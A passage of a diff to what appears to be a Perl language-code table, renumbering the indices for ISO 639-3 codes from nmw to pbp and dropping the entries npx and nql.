-         q(4977),
+         q(4975),
          q(0),
          ],
       q(nmx) => [
-         q(4978),
+         q(4976),
          q(0),
          ],
       q(nmy) => [
-         q(4979),
+         q(4977),
          q(0),
          ],
       q(nmz) => [
-         q(4980),
+         q(4978),
          q(0),
          ],
       q(nna) => [
-         q(4981),
+         q(4979),
          q(0),
          ],
       q(nnb) => [
-         q(4982),
+         q(4980),
          q(0),
          ],
       q(nnc) => [
-         q(4983),
+         q(4981),
          q(0),
          ],
       q(nnd) => [
-         q(4984),
+         q(4982),
          q(0),
          ],
       q(nne) => [
-         q(4985),
+         q(4983),
          q(0),
          ],
       q(nnf) => [
-         q(4986),
+         q(4984),
          q(0),
          ],
       q(nng) => [
-         q(4987),
+         q(4985),
          q(0),
          ],
       q(nnh) => [
-         q(4988),
+         q(4986),
          q(0),
          ],
       q(nni) => [
-         q(4989),
+         q(4987),
          q(0),
          ],
       q(nnj) => [
-         q(4990),
+         q(4988),
          q(0),
          ],
       q(nnk) => [
-         q(4991),
+         q(4989),
          q(0),
          ],
       q(nnl) => [
-         q(4992),
+         q(4990),
          q(0),
          ],
       q(nnm) => [
-         q(4993),
+         q(4991),
          q(0),
          ],
       q(nnn) => [
-         q(4994),
+         q(4992),
          q(0),
          ],
       q(nno) => [
-         q(0313),
+         q(0312),
          q(0),
          ],
       q(nnp) => [
-         q(4995),
+         q(4993),
          q(0),
          ],
       q(nnq) => [
-         q(4996),
+         q(4994),
          q(0),
          ],
       q(nnr) => [
-         q(4997),
+         q(4995),
          q(0),
          ],
       q(nns) => [
-         q(4998),
+         q(4996),
          q(0),
          ],
       q(nnt) => [
-         q(4999),
+         q(4997),
          q(0),
          ],
       q(nnu) => [
-         q(5000),
+         q(4998),
          q(0),
          ],
       q(nnv) => [
-         q(5001),
+         q(4999),
          q(0),
          ],
       q(nnw) => [
-         q(5002),
+         q(5000),
          q(0),
          ],
       q(nny) => [
-         q(5003),
+         q(5001),
          q(0),
          ],
       q(nnz) => [
-         q(5004),
+         q(5002),
          q(0),
          ],
       q(noa) => [
-         q(5005),
+         q(5003),
          q(0),
          ],
       q(nob) => [
-         q(0314),
+         q(0313),
          q(0),
          ],
       q(noc) => [
-         q(5006),
+         q(5004),
          q(0),
          ],
       q(nod) => [
-         q(5007),
+         q(5005),
          q(0),
          ],
       q(noe) => [
-         q(5008),
+         q(5006),
          q(0),
          ],
       q(nof) => [
-         q(5009),
+         q(5007),
          q(0),
          ],
       q(nog) => [
-         q(0315),
+         q(0314),
          q(0),
          ],
       q(noh) => [
-         q(5010),
+         q(5008),
          q(0),
          ],
       q(noi) => [
-         q(5011),
+         q(5009),
          q(0),
          ],
       q(noj) => [
-         q(5012),
+         q(5010),
          q(0),
          ],
       q(nok) => [
-         q(5013),
+         q(5011),
          q(0),
          ],
       q(nol) => [
-         q(5014),
+         q(5012),
          q(0),
          ],
       q(nom) => [
-         q(5015),
+         q(5013),
          q(0),
          ],
       q(non) => [
-         q(0316),
+         q(0315),
          q(1),
          ],
       q(nop) => [
-         q(5016),
+         q(5014),
          q(0),
          ],
       q(noq) => [
-         q(5017),
+         q(5015),
          q(0),
          ],
       q(nor) => [
-         q(0317),
+         q(0316),
          q(0),
          ],
       q(nos) => [
-         q(5018),
+         q(5016),
          q(0),
          ],
       q(not) => [
-         q(5019),
+         q(5017),
          q(0),
          ],
       q(nou) => [
-         q(5020),
+         q(5018),
          q(0),
          ],
       q(nov) => [
-         q(5021),
+         q(5019),
          q(0),
          ],
       q(now) => [
-         q(5022),
+         q(5020),
          q(0),
          ],
       q(noy) => [
-         q(5023),
+         q(5021),
          q(0),
          ],
       q(noz) => [
-         q(5024),
+         q(5022),
          q(0),
          ],
       q(npa) => [
-         q(5025),
+         q(5023),
          q(0),
          ],
       q(npb) => [
-         q(5026),
+         q(5024),
          q(0),
          ],
       q(npg) => [
-         q(5027),
+         q(5025),
          q(0),
          ],
       q(nph) => [
-         q(5028),
+         q(5026),
          q(0),
          ],
       q(npi) => [
-         q(5029),
+         q(5027),
          q(0),
          ],
       q(npl) => [
-         q(5030),
+         q(5028),
          q(0),
          ],
       q(npn) => [
-         q(5031),
+         q(5029),
          q(0),
          ],
       q(npo) => [
-         q(5032),
+         q(5030),
          q(0),
          ],
       q(nps) => [
-         q(5033),
+         q(5031),
          q(0),
          ],
       q(npu) => [
-         q(5034),
-         q(0),
-         ],
-      q(npx) => [
-         q(5035),
+         q(5032),
          q(0),
          ],
       q(npy) => [
-         q(5036),
+         q(5033),
          q(0),
          ],
       q(nqg) => [
-         q(5037),
+         q(5034),
          q(0),
          ],
       q(nqk) => [
-         q(5038),
-         q(0),
-         ],
-      q(nql) => [
-         q(5039),
+         q(5035),
          q(0),
          ],
       q(nqm) => [
-         q(5040),
+         q(5036),
          q(0),
          ],
       q(nqn) => [
-         q(5041),
+         q(5037),
          q(0),
          ],
       q(nqo) => [
-         q(0318),
+         q(0317),
          q(0),
          ],
       q(nqq) => [
-         q(5042),
+         q(5038),
          q(0),
          ],
       q(nqy) => [
-         q(5043),
+         q(5039),
          q(0),
          ],
       q(nra) => [
-         q(5044),
+         q(5040),
          q(0),
          ],
       q(nrb) => [
-         q(5045),
+         q(5041),
          q(0),
          ],
       q(nrc) => [
-         q(5046),
+         q(5042),
          q(0),
          ],
       q(nre) => [
-         q(5047),
+         q(5043),
          q(0),
          ],
       q(nrf) => [
-         q(5048),
+         q(5044),
          q(0),
          ],
       q(nrg) => [
-         q(5049),
+         q(5045),
          q(0),
          ],
       q(nri) => [
-         q(5050),
+         q(5046),
          q(0),
          ],
       q(nrk) => [
-         q(5051),
+         q(5047),
          q(0),
          ],
       q(nrl) => [
-         q(5052),
+         q(5048),
          q(0),
          ],
       q(nrm) => [
-         q(5053),
+         q(5049),
          q(0),
          ],
       q(nrn) => [
-         q(5054),
+         q(5050),
          q(0),
          ],
       q(nrp) => [
-         q(5055),
+         q(5051),
          q(0),
          ],
       q(nrr) => [
-         q(5056),
+         q(5052),
          q(0),
          ],
       q(nrt) => [
-         q(5057),
+         q(5053),
          q(0),
          ],
       q(nru) => [
-         q(5058),
+         q(5054),
          q(0),
          ],
       q(nrx) => [
-         q(5059),
+         q(5055),
          q(0),
          ],
       q(nrz) => [
-         q(5060),
+         q(5056),
          q(0),
          ],
       q(nsa) => [
-         q(5061),
+         q(5057),
          q(0),
          ],
       q(nsc) => [
-         q(5062),
+         q(5058),
          q(0),
          ],
       q(nsd) => [
-         q(5063),
+         q(5059),
          q(0),
          ],
       q(nse) => [
-         q(5064),
+         q(5060),
          q(0),
          ],
       q(nsf) => [
-         q(5065),
+         q(5061),
          q(0),
          ],
       q(nsg) => [
-         q(5066),
+         q(5062),
          q(0),
          ],
       q(nsh) => [
-         q(5067),
+         q(5063),
          q(0),
          ],
       q(nsi) => [
-         q(5068),
+         q(5064),
          q(0),
          ],
       q(nsk) => [
-         q(5069),
+         q(5065),
          q(0),
          ],
       q(nsl) => [
-         q(5070),
+         q(5066),
          q(0),
          ],
       q(nsm) => [
-         q(5071),
+         q(5067),
          q(0),
          ],
       q(nsn) => [
-         q(5072),
+         q(5068),
          q(0),
          ],
       q(nso) => [
-         q(0319),
+         q(0318),
          q(0),
          ],
       q(nsp) => [
-         q(5073),
+         q(5069),
          q(0),
          ],
       q(nsq) => [
-         q(5074),
+         q(5070),
          q(0),
          ],
       q(nsr) => [
-         q(5075),
+         q(5071),
          q(0),
          ],
       q(nss) => [
-         q(5076),
+         q(5072),
          q(0),
          ],
       q(nst) => [
-         q(5077),
+         q(5073),
          q(0),
          ],
       q(nsu) => [
-         q(5078),
+         q(5074),
          q(0),
          ],
       q(nsv) => [
-         q(5079),
+         q(5075),
          q(0),
          ],
       q(nsw) => [
-         q(5080),
+         q(5076),
          q(0),
          ],
       q(nsx) => [
-         q(5081),
+         q(5077),
          q(0),
          ],
       q(nsy) => [
-         q(5082),
+         q(5078),
          q(0),
          ],
       q(nsz) => [
-         q(5083),
+         q(5079),
          q(0),
          ],
       q(ntd) => [
-         q(5084),
+         q(5080),
          q(0),
          ],
       q(nte) => [
-         q(5085),
+         q(5081),
          q(0),
          ],
       q(ntg) => [
-         q(5086),
+         q(5082),
          q(0),
          ],
       q(nti) => [
-         q(5087),
+         q(5083),
          q(0),
          ],
       q(ntj) => [
-         q(5088),
+         q(5084),
          q(0),
          ],
       q(ntk) => [
-         q(5089),
+         q(5085),
          q(0),
          ],
       q(ntm) => [
-         q(5090),
+         q(5086),
          q(0),
          ],
       q(nto) => [
-         q(5091),
+         q(5087),
          q(0),
          ],
       q(ntp) => [
-         q(5092),
+         q(5088),
          q(0),
          ],
       q(ntr) => [
-         q(5093),
+         q(5089),
          q(0),
          ],
       q(ntu) => [
-         q(5094),
+         q(5090),
          q(0),
          ],
       q(ntw) => [
-         q(5095),
+         q(5091),
          q(0),
          ],
       q(ntx) => [
-         q(5096),
+         q(5092),
          q(0),
          ],
       q(nty) => [
-         q(5097),
+         q(5093),
          q(0),
          ],
       q(ntz) => [
-         q(5098),
+         q(5094),
          q(0),
          ],
       q(nua) => [
-         q(5099),
+         q(5095),
          q(0),
          ],
       q(nub) => [
-         q(0320),
+         q(0319),
          q(0),
          ],
       q(nuc) => [
-         q(5100),
+         q(5096),
          q(0),
          ],
       q(nud) => [
-         q(5101),
+         q(5097),
          q(0),
          ],
       q(nue) => [
-         q(5102),
+         q(5098),
          q(0),
          ],
       q(nuf) => [
-         q(5103),
+         q(5099),
          q(0),
          ],
       q(nug) => [
-         q(5104),
+         q(5100),
          q(0),
          ],
       q(nuh) => [
-         q(5105),
+         q(5101),
          q(0),
          ],
       q(nui) => [
-         q(5106),
+         q(5102),
          q(0),
          ],
       q(nuj) => [
-         q(5107),
+         q(5103),
          q(0),
          ],
       q(nuk) => [
-         q(5108),
+         q(5104),
          q(0),
          ],
       q(nul) => [
-         q(5109),
+         q(5105),
          q(0),
          ],
       q(num) => [
-         q(5110),
+         q(5106),
          q(0),
          ],
       q(nun) => [
-         q(5111),
+         q(5107),
          q(0),
          ],
       q(nuo) => [
-         q(5112),
+         q(5108),
          q(0),
          ],
       q(nup) => [
-         q(5113),
+         q(5109),
          q(0),
          ],
       q(nuq) => [
-         q(5114),
+         q(5110),
          q(0),
          ],
       q(nur) => [
-         q(5115),
+         q(5111),
          q(0),
          ],
       q(nus) => [
-         q(5116),
+         q(5112),
          q(0),
          ],
       q(nut) => [
-         q(5117),
+         q(5113),
          q(0),
          ],
       q(nuu) => [
-         q(5118),
+         q(5114),
          q(0),
          ],
       q(nuv) => [
-         q(5119),
+         q(5115),
          q(0),
          ],
       q(nuw) => [
-         q(5120),
+         q(5116),
          q(0),
          ],
       q(nux) => [
-         q(5121),
+         q(5117),
          q(0),
          ],
       q(nuy) => [
-         q(5122),
+         q(5118),
          q(0),
          ],
       q(nuz) => [
-         q(5123),
+         q(5119),
          q(0),
          ],
       q(nvh) => [
-         q(5124),
+         q(5120),
          q(0),
          ],
       q(nvm) => [
-         q(5125),
+         q(5121),
          q(0),
          ],
       q(nvo) => [
-         q(5126),
+         q(5122),
          q(0),
          ],
       q(nwa) => [
-         q(5127),
+         q(5123),
          q(0),
          ],
       q(nwb) => [
-         q(5128),
+         q(5124),
          q(0),
          ],
       q(nwc) => [
-         q(0321),
+         q(0320),
          q(0),
          ],
       q(nwe) => [
-         q(5129),
+         q(5125),
          q(0),
          ],
       q(nwg) => [
-         q(5130),
+         q(5126),
          q(0),
          ],
       q(nwi) => [
-         q(5131),
+         q(5127),
          q(0),
          ],
       q(nwm) => [
-         q(5132),
+         q(5128),
          q(0),
          ],
       q(nwo) => [
-         q(5133),
+         q(5129),
          q(0),
          ],
       q(nwr) => [
-         q(5134),
+         q(5130),
          q(0),
          ],
       q(nwx) => [
-         q(5135),
+         q(5131),
          q(0),
          ],
       q(nwy) => [
-         q(5136),
+         q(5132),
          q(0),
          ],
       q(nxa) => [
-         q(5137),
+         q(5133),
          q(0),
          ],
       q(nxd) => [
-         q(5138),
+         q(5134),
          q(0),
          ],
       q(nxe) => [
-         q(5139),
+         q(5135),
          q(0),
          ],
       q(nxg) => [
-         q(5140),
+         q(5136),
          q(0),
          ],
       q(nxi) => [
-         q(5141),
+         q(5137),
          q(0),
          ],
       q(nxk) => [
-         q(5142),
+         q(5138),
          q(0),
          ],
       q(nxl) => [
-         q(5143),
+         q(5139),
          q(0),
          ],
       q(nxm) => [
-         q(5144),
+         q(5140),
          q(0),
          ],
       q(nxn) => [
-         q(5145),
+         q(5141),
          q(0),
          ],
       q(nxo) => [
-         q(5146),
+         q(5142),
          q(0),
          ],
       q(nxq) => [
-         q(5147),
+         q(5143),
          q(0),
          ],
       q(nxr) => [
-         q(5148),
+         q(5144),
          q(0),
          ],
       q(nxu) => [
-         q(5149),
+         q(5145),
          q(0),
          ],
       q(nxx) => [
-         q(5150),
+         q(5146),
          q(0),
          ],
       q(nya) => [
-         q(0322),
+         q(0321),
          q(0),
          ],
       q(nyb) => [
-         q(5151),
+         q(5147),
          q(0),
          ],
       q(nyc) => [
-         q(5152),
+         q(5148),
          q(0),
          ],
       q(nyd) => [
-         q(5153),
+         q(5149),
          q(0),
          ],
       q(nye) => [
-         q(5154),
+         q(5150),
          q(0),
          ],
       q(nyf) => [
-         q(5155),
+         q(5151),
          q(0),
          ],
       q(nyg) => [
-         q(5156),
+         q(5152),
          q(0),
          ],
       q(nyh) => [
-         q(5157),
+         q(5153),
          q(0),
          ],
       q(nyi) => [
-         q(5158),
+         q(5154),
          q(0),
          ],
       q(nyj) => [
-         q(5159),
+         q(5155),
          q(0),
          ],
       q(nyk) => [
-         q(5160),
+         q(5156),
          q(0),
          ],
       q(nyl) => [
-         q(5161),
+         q(5157),
          q(0),
          ],
       q(nym) => [
-         q(0323),
+         q(0322),
          q(0),
          ],
       q(nyn) => [
-         q(0324),
+         q(0323),
          q(0),
          ],
       q(nyo) => [
-         q(0325),
+         q(0324),
          q(0),
          ],
       q(nyp) => [
-         q(5162),
+         q(5158),
          q(0),
          ],
       q(nyq) => [
-         q(5163),
+         q(5159),
          q(0),
          ],
       q(nyr) => [
-         q(5164),
+         q(5160),
          q(0),
          ],
       q(nys) => [
-         q(5165),
+         q(5161),
          q(0),
          ],
       q(nyt) => [
-         q(5166),
+         q(5162),
          q(0),
          ],
       q(nyu) => [
-         q(5167),
+         q(5163),
          q(0),
          ],
       q(nyv) => [
-         q(5168),
+         q(5164),
          q(0),
          ],
       q(nyw) => [
-         q(5169),
+         q(5165),
          q(0),
          ],
       q(nyx) => [
-         q(5170),
+         q(5166),
          q(0),
          ],
       q(nyy) => [
-         q(5171),
+         q(5167),
          q(0),
          ],
       q(nza) => [
-         q(5172),
+         q(5168),
          q(0),
          ],
       q(nzb) => [
-         q(5173),
+         q(5169),
          q(0),
          ],
       q(nzi) => [
-         q(0326),
+         q(0325),
          q(0),
          ],
       q(nzk) => [
-         q(5174),
+         q(5170),
          q(0),
          ],
       q(nzm) => [
-         q(5175),
+         q(5171),
          q(0),
          ],
       q(nzs) => [
-         q(5176),
+         q(5172),
          q(0),
          ],
       q(nzu) => [
-         q(5177),
+         q(5173),
          q(0),
          ],
       q(nzy) => [
-         q(5178),
+         q(5174),
          q(0),
          ],
       q(nzz) => [
-         q(5179),
+         q(5175),
          q(0),
          ],
       q(oaa) => [
-         q(5180),
+         q(5176),
          q(0),
          ],
       q(oac) => [
-         q(5181),
+         q(5177),
          q(0),
          ],
       q(oar) => [
-         q(5182),
+         q(5178),
          q(0),
          ],
       q(oav) => [
-         q(5183),
+         q(5179),
          q(0),
          ],
       q(obi) => [
-         q(5184),
+         q(5180),
          q(0),
          ],
       q(obk) => [
-         q(5185),
+         q(5181),
          q(0),
          ],
       q(obl) => [
-         q(5186),
+         q(5182),
          q(0),
          ],
       q(obm) => [
-         q(5187),
+         q(5183),
          q(0),
          ],
       q(obo) => [
-         q(5188),
+         q(5184),
          q(0),
          ],
       q(obr) => [
-         q(5189),
+         q(5185),
          q(0),
          ],
       q(obt) => [
-         q(5190),
+         q(5186),
          q(0),
          ],
       q(obu) => [
-         q(5191),
+         q(5187),
          q(0),
          ],
       q(oca) => [
-         q(5192),
+         q(5188),
          q(0),
          ],
       q(och) => [
-         q(5193),
+         q(5189),
          q(0),
          ],
       q(oci) => [
-         q(0327),
+         q(0326),
          q(0),
          ],
       q(oco) => [
-         q(5194),
+         q(5190),
          q(0),
          ],
       q(ocu) => [
-         q(5195),
+         q(5191),
          q(0),
          ],
       q(oda) => [
-         q(5196),
+         q(5192),
          q(0),
          ],
       q(odk) => [
-         q(5197),
+         q(5193),
          q(0),
          ],
       q(odt) => [
-         q(5198),
+         q(5194),
          q(0),
          ],
       q(odu) => [
-         q(5199),
+         q(5195),
          q(0),
          ],
       q(ofo) => [
-         q(5200),
+         q(5196),
          q(0),
          ],
       q(ofs) => [
-         q(5201),
+         q(5197),
          q(0),
          ],
       q(ofu) => [
-         q(5202),
+         q(5198),
          q(0),
          ],
       q(ogb) => [
-         q(5203),
+         q(5199),
          q(0),
          ],
       q(ogc) => [
-         q(5204),
+         q(5200),
          q(0),
          ],
       q(oge) => [
-         q(5205),
+         q(5201),
          q(0),
          ],
       q(ogg) => [
-         q(5206),
+         q(5202),
          q(0),
          ],
       q(ogo) => [
-         q(5207),
+         q(5203),
          q(0),
          ],
       q(ogu) => [
-         q(5208),
+         q(5204),
          q(0),
          ],
       q(oht) => [
-         q(5209),
+         q(5205),
          q(0),
          ],
       q(ohu) => [
-         q(5210),
+         q(5206),
          q(0),
          ],
       q(oia) => [
-         q(5211),
+         q(5207),
          q(0),
          ],
       q(oin) => [
-         q(5212),
+         q(5208),
          q(0),
          ],
       q(ojb) => [
-         q(5213),
+         q(5209),
          q(0),
          ],
       q(ojc) => [
-         q(5214),
+         q(5210),
          q(0),
          ],
       q(ojg) => [
-         q(5215),
+         q(5211),
          q(0),
          ],
       q(oji) => [
-         q(0328),
+         q(0327),
          q(0),
          ],
       q(ojp) => [
-         q(5216),
+         q(5212),
          q(0),
          ],
       q(ojs) => [
-         q(5217),
+         q(5213),
          q(0),
          ],
       q(ojv) => [
-         q(5218),
+         q(5214),
          q(0),
          ],
       q(ojw) => [
-         q(5219),
+         q(5215),
          q(0),
          ],
       q(oka) => [
-         q(5220),
+         q(5216),
          q(0),
          ],
       q(okb) => [
-         q(5221),
+         q(5217),
          q(0),
          ],
       q(okd) => [
-         q(5222),
+         q(5218),
          q(0),
          ],
       q(oke) => [
-         q(5223),
+         q(5219),
          q(0),
          ],
       q(okg) => [
-         q(5224),
+         q(5220),
          q(0),
          ],
       q(okh) => [
-         q(5225),
+         q(5221),
          q(0),
          ],
       q(oki) => [
-         q(5226),
+         q(5222),
          q(0),
          ],
       q(okj) => [
-         q(5227),
+         q(5223),
          q(0),
          ],
       q(okk) => [
-         q(5228),
+         q(5224),
          q(0),
          ],
       q(okl) => [
-         q(5229),
+         q(5225),
          q(0),
          ],
       q(okm) => [
-         q(5230),
+         q(5226),
          q(0),
          ],
       q(okn) => [
-         q(5231),
+         q(5227),
          q(0),
          ],
       q(oko) => [
-         q(5232),
+         q(5228),
          q(0),
          ],
       q(okr) => [
-         q(5233),
+         q(5229),
          q(0),
          ],
       q(oks) => [
-         q(5234),
+         q(5230),
          q(0),
          ],
       q(oku) => [
-         q(5235),
+         q(5231),
          q(0),
          ],
       q(okv) => [
-         q(5236),
+         q(5232),
          q(0),
          ],
       q(okx) => [
-         q(5237),
+         q(5233),
          q(0),
          ],
       q(ola) => [
-         q(5238),
+         q(5234),
          q(0),
          ],
       q(old) => [
-         q(5239),
+         q(5235),
          q(0),
          ],
       q(ole) => [
-         q(5240),
+         q(5236),
          q(0),
          ],
       q(olk) => [
-         q(5241),
+         q(5237),
          q(0),
          ],
       q(olm) => [
-         q(5242),
+         q(5238),
          q(0),
          ],
       q(olo) => [
-         q(5243),
+         q(5239),
          q(0),
          ],
       q(olr) => [
-         q(5244),
+         q(5240),
          q(0),
          ],
       q(olt) => [
-         q(5245),
+         q(5241),
          q(0),
          ],
       q(olu) => [
-         q(5246),
+         q(5242),
          q(0),
          ],
       q(oma) => [
-         q(5247),
+         q(5243),
          q(0),
          ],
       q(omb) => [
-         q(5248),
+         q(5244),
          q(0),
          ],
       q(omc) => [
-         q(5249),
+         q(5245),
          q(0),
          ],
       q(omg) => [
-         q(5250),
+         q(5246),
          q(0),
          ],
       q(omi) => [
-         q(5251),
+         q(5247),
          q(0),
          ],
       q(omk) => [
-         q(5252),
+         q(5248),
          q(0),
          ],
       q(oml) => [
-         q(5253),
+         q(5249),
          q(0),
          ],
       q(omn) => [
-         q(5254),
+         q(5250),
          q(0),
          ],
       q(omo) => [
-         q(5255),
+         q(5251),
          q(0),
          ],
       q(omp) => [
-         q(5256),
+         q(5252),
          q(0),
          ],
       q(omq) => [
-         q(0518),
+         q(0517),
          q(0),
          ],
       q(omr) => [
-         q(5257),
+         q(5253),
          q(0),
          ],
       q(omt) => [
-         q(5258),
+         q(5254),
          q(0),
          ],
       q(omu) => [
-         q(5259),
+         q(5255),
          q(0),
          ],
       q(omv) => [
-         q(0519),
+         q(0518),
          q(0),
          ],
       q(omw) => [
-         q(5260),
+         q(5256),
          q(0),
          ],
       q(omx) => [
-         q(5261),
+         q(5257),
          q(0),
          ],
       q(ona) => [
-         q(5262),
+         q(5258),
          q(0),
          ],
       q(onb) => [
-         q(5263),
+         q(5259),
          q(0),
          ],
       q(one) => [
-         q(5264),
+         q(5260),
          q(0),
          ],
       q(ong) => [
-         q(5265),
+         q(5261),
          q(0),
          ],
       q(oni) => [
-         q(5266),
+         q(5262),
          q(0),
          ],
       q(onj) => [
-         q(5267),
+         q(5263),
          q(0),
          ],
       q(onk) => [
-         q(5268),
+         q(5264),
          q(0),
          ],
       q(onn) => [
-         q(5269),
+         q(5265),
          q(0),
          ],
       q(ono) => [
-         q(5270),
+         q(5266),
          q(0),
          ],
       q(onp) => [
-         q(5271),
+         q(5267),
          q(0),
          ],
       q(onr) => [
-         q(5272),
+         q(5268),
          q(0),
          ],
       q(ons) => [
-         q(5273),
+         q(5269),
          q(0),
          ],
       q(ont) => [
-         q(5274),
+         q(5270),
          q(0),
          ],
       q(onu) => [
-         q(5275),
+         q(5271),
          q(0),
          ],
       q(onw) => [
-         q(5276),
+         q(5272),
          q(0),
          ],
       q(onx) => [
-         q(5277),
+         q(5273),
          q(0),
          ],
       q(ood) => [
-         q(5278),
+         q(5274),
          q(0),
          ],
       q(oog) => [
-         q(5279),
+         q(5275),
          q(0),
          ],
       q(oon) => [
-         q(5280),
+         q(5276),
          q(0),
          ],
       q(oor) => [
-         q(5281),
+         q(5277),
          q(0),
          ],
       q(oos) => [
-         q(5282),
+         q(5278),
          q(0),
          ],
       q(opa) => [
-         q(5283),
+         q(5279),
          q(0),
          ],
       q(opk) => [
-         q(5284),
+         q(5280),
          q(0),
          ],
       q(opm) => [
-         q(5285),
+         q(5281),
          q(0),
          ],
       q(opo) => [
-         q(5286),
+         q(5282),
          q(0),
          ],
       q(opt) => [
-         q(5287),
+         q(5283),
          q(0),
          ],
       q(opy) => [
-         q(5288),
+         q(5284),
          q(0),
          ],
       q(ora) => [
-         q(5289),
+         q(5285),
          q(0),
          ],
       q(orc) => [
-         q(5290),
+         q(5286),
          q(0),
          ],
       q(ore) => [
-         q(5291),
+         q(5287),
          q(0),
          ],
       q(org) => [
-         q(5292),
+         q(5288),
          q(0),
          ],
       q(orh) => [
-         q(5293),
+         q(5289),
          q(0),
          ],
       q(ori) => [
-         q(0329),
+         q(0328),
          q(0),
          ],
       q(orm) => [
-         q(0330),
+         q(0329),
          q(0),
          ],
       q(orn) => [
-         q(5294),
+         q(5290),
          q(0),
          ],
       q(oro) => [
-         q(5295),
+         q(5291),
          q(0),
          ],
       q(orr) => [
-         q(5296),
+         q(5292),
          q(0),
          ],
       q(ors) => [
-         q(5297),
+         q(5293),
          q(0),
          ],
       q(ort) => [
-         q(5298),
+         q(5294),
          q(0),
          ],
       q(oru) => [
-         q(5299),
+         q(5295),
          q(0),
          ],
       q(orv) => [
-         q(5300),
+         q(5296),
          q(0),
          ],
       q(orw) => [
-         q(5301),
+         q(5297),
          q(0),
          ],
       q(orx) => [
-         q(5302),
+         q(5298),
          q(0),
          ],
       q(ory) => [
-         q(5303),
+         q(5299),
          q(0),
          ],
       q(orz) => [
-         q(5304),
+         q(5300),
          q(0),
          ],
       q(osa) => [
-         q(0331),
+         q(0330),
          q(0),
          ],
       q(osc) => [
-         q(5305),
+         q(5301),
          q(0),
          ],
       q(osi) => [
-         q(5306),
+         q(5302),
          q(0),
          ],
       q(oso) => [
-         q(5307),
+         q(5303),
          q(0),
          ],
       q(osp) => [
-         q(5308),
+         q(5304),
          q(0),
          ],
       q(oss) => [
-         q(0332),
+         q(0331),
          q(0),
          ],
       q(ost) => [
-         q(5309),
+         q(5305),
          q(0),
          ],
       q(osu) => [
-         q(5310),
+         q(5306),
          q(0),
          ],
       q(osx) => [
-         q(5311),
+         q(5307),
          q(0),
          ],
       q(ota) => [
-         q(0333),
+         q(0332),
          q(1),
          ],
       q(otb) => [
-         q(5312),
+         q(5308),
          q(0),
          ],
       q(otd) => [
-         q(5313),
+         q(5309),
          q(0),
          ],
       q(ote) => [
-         q(5314),
+         q(5310),
          q(0),
          ],
       q(oti) => [
-         q(5315),
+         q(5311),
          q(0),
          ],
       q(otk) => [
-         q(5316),
+         q(5312),
          q(0),
          ],
       q(otl) => [
-         q(5317),
+         q(5313),
          q(0),
          ],
       q(otm) => [
-         q(5318),
+         q(5314),
          q(0),
          ],
       q(otn) => [
-         q(5319),
+         q(5315),
          q(0),
          ],
       q(oto) => [
-         q(0334),
+         q(0333),
          q(0),
          ],
       q(otq) => [
-         q(5320),
+         q(5316),
          q(0),
          ],
       q(otr) => [
-         q(5321),
+         q(5317),
          q(0),
          ],
       q(ots) => [
-         q(5322),
+         q(5318),
          q(0),
          ],
       q(ott) => [
-         q(5323),
+         q(5319),
          q(0),
          ],
       q(otu) => [
-         q(5324),
+         q(5320),
          q(0),
          ],
       q(otw) => [
-         q(5325),
+         q(5321),
          q(0),
          ],
       q(otx) => [
-         q(5326),
+         q(5322),
          q(0),
          ],
       q(oty) => [
-         q(5327),
+         q(5323),
          q(0),
          ],
       q(otz) => [
-         q(5328),
+         q(5324),
          q(0),
          ],
       q(oua) => [
-         q(5329),
+         q(5325),
          q(0),
          ],
       q(oub) => [
-         q(5330),
+         q(5326),
          q(0),
          ],
       q(oue) => [
-         q(5331),
+         q(5327),
          q(0),
          ],
       q(oui) => [
-         q(5332),
+         q(5328),
          q(0),
          ],
       q(oum) => [
-         q(5333),
+         q(5329),
          q(0),
          ],
       q(ovd) => [
-         q(5334),
+         q(5330),
          q(0),
          ],
       q(owi) => [
-         q(5335),
+         q(5331),
          q(0),
          ],
       q(owl) => [
-         q(5336),
+         q(5332),
          q(0),
          ],
       q(oyb) => [
-         q(5337),
+         q(5333),
          q(0),
          ],
       q(oyd) => [
-         q(5338),
+         q(5334),
          q(0),
          ],
       q(oym) => [
-         q(5339),
+         q(5335),
          q(0),
          ],
       q(oyy) => [
-         q(5340),
+         q(5336),
          q(0),
          ],
       q(ozm) => [
-         q(5341),
+         q(5337),
          q(0),
          ],
       q(paa) => [
-         q(0335),
+         q(0334),
          q(0),
          ],
       q(pab) => [
-         q(5342),
+         q(5338),
          q(0),
          ],
       q(pac) => [
-         q(5343),
+         q(5339),
          q(0),
          ],
       q(pad) => [
-         q(5344),
+         q(5340),
          q(0),
          ],
       q(pae) => [
-         q(5345),
+         q(5341),
          q(0),
          ],
       q(paf) => [
-         q(5346),
+         q(5342),
          q(0),
          ],
       q(pag) => [
-         q(0336),
+         q(0335),
          q(0),
          ],
       q(pah) => [
-         q(5347),
+         q(5343),
          q(0),
          ],
       q(pai) => [
-         q(5348),
+         q(5344),
          q(0),
          ],
       q(pak) => [
-         q(5349),
+         q(5345),
          q(0),
          ],
       q(pal) => [
-         q(0337),
+         q(0336),
          q(0),
          ],
       q(pam) => [
-         q(0338),
+         q(0337),
          q(0),
          ],
       q(pan) => [
-         q(0339),
+         q(0338),
          q(0),
          ],
       q(pao) => [
-         q(5350),
+         q(5346),
          q(0),
          ],
       q(pap) => [
-         q(0340),
+         q(0339),
          q(0),
          ],
       q(paq) => [
-         q(5351),
+         q(5347),
          q(0),
          ],
       q(par) => [
-         q(5352),
+         q(5348),
          q(0),
          ],
       q(pas) => [
-         q(5353),
+         q(5349),
          q(0),
          ],
       q(pat) => [
-         q(5354),
+         q(5350),
          q(0),
          ],
       q(pau) => [
-         q(0341),
+         q(0340),
          q(0),
          ],
       q(pav) => [
-         q(5355),
+         q(5351),
          q(0),
          ],
       q(paw) => [
-         q(5356),
+         q(5352),
          q(0),
          ],
       q(pax) => [
-         q(5357),
+         q(5353),
          q(0),
          ],
       q(pay) => [
-         q(5358),
+         q(5354),
          q(0),
          ],
       q(paz) => [
-         q(5359),
+         q(5355),
          q(0),
          ],
       q(pbb) => [
-         q(5360),
+         q(5356),
          q(0),
          ],
       q(pbc) => [
-         q(5361),
+         q(5357),
          q(0),
          ],
       q(pbe) => [
-         q(5362),
+         q(5358),
          q(0),
          ],
       q(pbf) => [
-         q(5363),
+         q(5359),
          q(0),
          ],
       q(pbg) => [
-         q(5364),
+         q(5360),
          q(0),
          ],
       q(pbh) => [
-         q(5365),
+         q(5361),
          q(0),
          ],
       q(pbi) => [
-         q(5366),
+         q(5362),
          q(0),
          ],
       q(pbl) => [
-         q(5367),
+         q(5363),
          q(0),
          ],
       q(pbn) => [
-         q(5368),
+         q(5364),
          q(0),
          ],
       q(pbo) => [
-         q(5369),
+         q(5365),
          q(0),
          ],
       q(pbp) => [
